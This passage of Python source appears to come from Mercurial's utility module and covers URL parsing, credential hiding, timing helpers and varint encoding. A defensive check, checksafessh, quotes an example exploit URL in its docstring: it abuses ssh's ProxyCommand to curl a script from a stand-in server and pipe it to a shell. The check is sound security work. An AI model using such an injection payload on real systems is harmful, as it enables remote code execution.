                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise error.Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (pycompat.bytestr(path),))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else '<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 timedcm._nested = 0
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write('%s%s: %s\n' % (
             ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
             time_stats))
         return result
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=procutil.stderr, otherf=procutil.stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if isinstance(map, dict) and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         elif skip is not None:
             raise error.ProgrammingError("skip character is only supported "
                                          "with a dict source")
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 if rustdirs is not None:
     dirs = rustdirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
     yield ''
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(_("stream ended unexpectedly"
                            " (got %d bytes, expected %d)")
                           % (len(s), n))
     return s
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError('negative value for uvarint: %d'
                                      % value)
     bits = value & 0x7f
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7f
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return ''.join(bytes)
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= ((byte & 0x7f) << shift)
         if not (byte & 0x80):
             return result
         shift += 7